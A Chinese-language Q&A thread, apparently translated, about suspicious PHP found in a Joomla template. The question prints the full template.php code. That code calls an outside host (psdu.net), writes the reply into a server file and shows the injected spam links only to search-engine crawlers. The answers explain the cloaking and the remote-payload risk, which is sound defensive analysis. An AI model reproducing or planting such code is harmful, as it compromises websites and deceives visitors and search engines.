有人可以向我解释这个php代码在做什么吗？

Question

我正在使用一个名为Liberty的Joomla模板，并且开始在页面上显示这些奇怪的链接。 如果我清除了网站缓存，则链接消失，仅在以后显示。 我终于找到了问题所在。 index.php代码称为包含页面，该页面称为template.php，而该页面又称为文件mods.php。 以下是这些文件中的代码。

从template.php：

<?php
ini_set('display_errors',0);
$path = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
$path = str_replace("&", "",$path);
$target = dirname(__FILE__) . DIRECTORY_SEPARATOR . "mods.php";
$source = 'http://psdu.net/me3.php?i='.$path;
$cachetime = 86400;
if ((file_exists($target)) && (time() - $cachetime) > filemtime($target)) {    
$string = file_get_contents($source);$result = file_put_contents($target, $string);}
$spiders = array('Googlebot','Yahoo','msnbot','Googlebot-Mobile');
$credits = file_get_contents($target);
$uagent = $_SERVER['HTTP_USER_AGENT'];
foreach ($spiders as $spider){if (preg_match("/$spider/",$uagent)){echo $credits;}}
?>

这是来自服务器的mods.php的代码，其中包含我得到的怪异链接：

<p><a target="_blank" href="https://ro-ro.facebook.com/zebras.ro">zebras magazin haine femei</a> <a target="_blank" href="http://mkhandtaschen.tumblr.com/">michael kors tasche schwarz</a></p>

我从模板开发者那里下载了模板的新副本，并且mods.php文件与此不同：

<div class="leader"><p><a target="_blank" title="t shirt bedrucken" href="http://webhostshield.com/bluehost-review/">bluehost 2013 reviews</a></p></div>

我可以大致了解正在发生的事情，但没有获得psdu.net/me3.php的外部链接。 我已经禁用了我的index.php文件中调用template.php的行，并且该网站运行正常。 对我来说，这两个文件看起来真的很脏，没有必要。 我将感谢比我自己经验更多的php编码器提供的任何输入。 谢谢！

Answer 1

它检查HTTP_USER_AGENT，该HTTP_USER_AGENT通常包含有关浏览器，操作系统，版本等的信息。 然后，如果HTTP_USER_AGENT包含“ Googlebot”，“ Yahoo”，“ msnbot”或“ Googlebot-Mobile”，则会回显功劳（由mods.php显示）。

我认为这是从mods.php为索引您页面的所有搜索引擎提供的其他信息。

Answer 2

这确实不好，可以认为是一个严重的漏洞。

如果任何人都可以假冒psdu.net（例如DNS欺骗；请注意，不涉及SSL（因此不涉及远程方身份验证）），或者psdu.net的使用不当，则任何PHP有效负载都可以存储在mods.php文件中并通过访问... / templates // html / mods.php URL进行“触发”。

其实，这真的很糟糕！